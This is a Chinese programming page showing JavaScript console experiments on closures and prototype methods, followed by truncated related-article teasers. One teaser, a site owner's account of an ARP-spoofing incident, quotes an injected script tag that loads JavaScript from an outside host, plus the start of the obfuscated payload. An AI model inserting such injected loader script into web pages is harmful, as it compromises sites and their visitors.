奇妙的js_javascript技巧

复制代码 代码如下:

>>> function a(){function b(){return "aaa"} Function.prototype.c=function(){return b();}}    
>>> a()    
>>> a.c    
function()    
>>> a.c()    
"aaa"   
>>> a.hasOwnProperty("c")    
false 

看这段代码,首先声明一个函数a,内部又定义了一个函数b,但是函数b不是函数对象a的方法,只是函数a块当中的临时变量函数(或者说私有函数,不知道怎么描述好),后面又定义了一个函数c是用function(){}在a内部定义的,所以会产生closure所以c可以遍历到a下面所有块内部变量,当然包括b,我又把c挂到了Function.prototype下面,就是不是直接挂a下,而是挂到a的原形链上,最后还是执行出来了,并且hasOwnProperty也是假,更有 

代码

复制代码 代码如下:

>>> d={};    
Object    
>>> function a(){function b(){return "aaa"} d.c=function(){return b();}}    
>>> a()    
>>> d.c()    
"aaa"   

closure和函数执行的context一点关系没有,context可以用call apply方法改变this,可是closure在function定义后好似没有办法再修改了,不知道是不是这样

时间: 2024-12-04 15:31:59

奇妙的js_javascript技巧的相关文章

pjblog中的UBBCode.js_javascript技巧

//|===========================| //|   UBB编辑器JS代码 1.0     | //|      作者:舜子(PuterJam)  | //|   版权所有 2005           | //|===========================| var UBBBrowerInfo=new Object(); var sAgent=navigator.userAgent.toLowerCase(); UBBBrowerInfo.IsIE=sAgent

网站被黑的假象--ARP欺骗之页面中加入一段js_javascript技巧

昨天晚上发现访问我的网站的时候网页代码html的前面多了一串js代码.刚开始以为网站被黑了,赶紧到服务器上查看所有文件是否带有这串js代码,搜索结果没有,而且服务器也没发现被入侵的痕迹. <script src=http://fuck.ns2go.com/dir/index_pic/1.js></script> 于是只能从这段代码入手,我下载这个js开发发现是下面一段代码: 复制代码 代码如下: window["\x64\x6f\x63\x75\x6d\x65\x6e\x

延时重复执行函数 lLoopRun.js_javascript技巧

公司的一个项目中,有许多地方需要延时执行一些可重复性的函数(动作),就写了下面这段函数. 呵呵,不知道取什么意思更为确切些,就定为了:LoopRun,意为"重复执行"  function lLoopRun(sFuncLoop,sFuncEnd,nDelay) {   var vintervalId = null;   var runString  = sFuncLoop;   var stopString  = sFuncEnd;   var delayTime  = nDelay;

javascript 页面划词搜索JS_javascript技巧

基于Jquery修改,以下为全部脚本 复制代码 代码如下: //划词搜索 var GLS = {}; GLS.startObj = null; GLS.isdb = false; GLS.allow = true; GLS.isallow = function() { if (GLS.allow) { GLS.allow = false; alert('Google搜索已关闭'); } else { GLS.allow = true; alert('Google搜索已打开'); } }; GLS

该如何加载google-analytics(或其他第三方)的JS_javascript技巧

注册ga后,ga就会生成一段js脚本,很多人直接把这段js复制到<body>的最后面就完事(包括 博客园.CSDN.BlogJava).可是ga自动生成的这段JS真的就是最合理的吗? 哪怎么样才算是合理,怎样才是不合理了?因ga只是1个分析工具,它的使用绝对不能影响到我们的程序,如果影响了,则是不合理的.不影响则是合理的. 目前ga的使用: 先看看ga自动生成的js脚本,如下: 复制代码 代码如下: <script type="text/javascript">

Opacity.js_javascript技巧

复制代码 代码如下: //---------------------------------------------------------------  // Opacity Displayer, Version 1.0  // Copyright Michael Lovitt, 6/2002.  // Distribute freely, but please leave this notice intact.  //-------------------------------------

javascript延时重复执行函数 lLoopRun.js_javascript技巧

function lLoopRun(sFuncLoop,sFuncEnd,nDelay) { //writen by http://fengyan.iecn.cn //sFuncLoop >> 字符串型需要重复执行的Javascript函数或语句多个函数或语句请用;分隔   //sFuncEnd >> 字符串型用于中止重复执行动作sFuncLoop的Javascript函数或语句  //nDelay >> 数字型重复执行的时间间隔毫秒数   var vintervalI

移动端脚本框架Hammer.js_javascript技巧

一.前言   移动端框架当前还处在初级阶段,但相对于移动端的应用来说已经有很长时间了.虽然暂时还没有PC端开发的需求量大,但移动端的Web必然是一种趋势,在接触移动端脚本的过程中,最开始想到的是juqery.Jquery2.0版本及以上已经开始偏向移动端,如对h5的支持,但支持还是不够完善,希望jq在后面的版本能够逐渐支持起来.   最初在开发移动端Web的时候使用w3c标准的语法结构和原生的js开发,但相对来说开发量比较大,而且每一步都要考虑各移动端浏览器的兼容,像比较让程序员头痛的大wp手机

初识简单却不失优雅的Vue.js_javascript技巧

作为一名Vue.js的忠实用户,我想有必要写点文章来歌颂这一门美好的语言了,我给它的总体评价是"简单却不失优雅,小巧而不乏大匠",下面将围绕这句话给大家介绍Vue.js,希望能够激发你对Vue.js的兴趣.  Vue.js简介  Vue.js的作者为Evan You(尤雨溪),任职于Google Creative Lab,虽然是Vue是一个个人项目,但在发展前景上个人认为绝不输于Google的AngularJs,下面我会将Vue与Angular(Angular 1.0+版本)做一些简单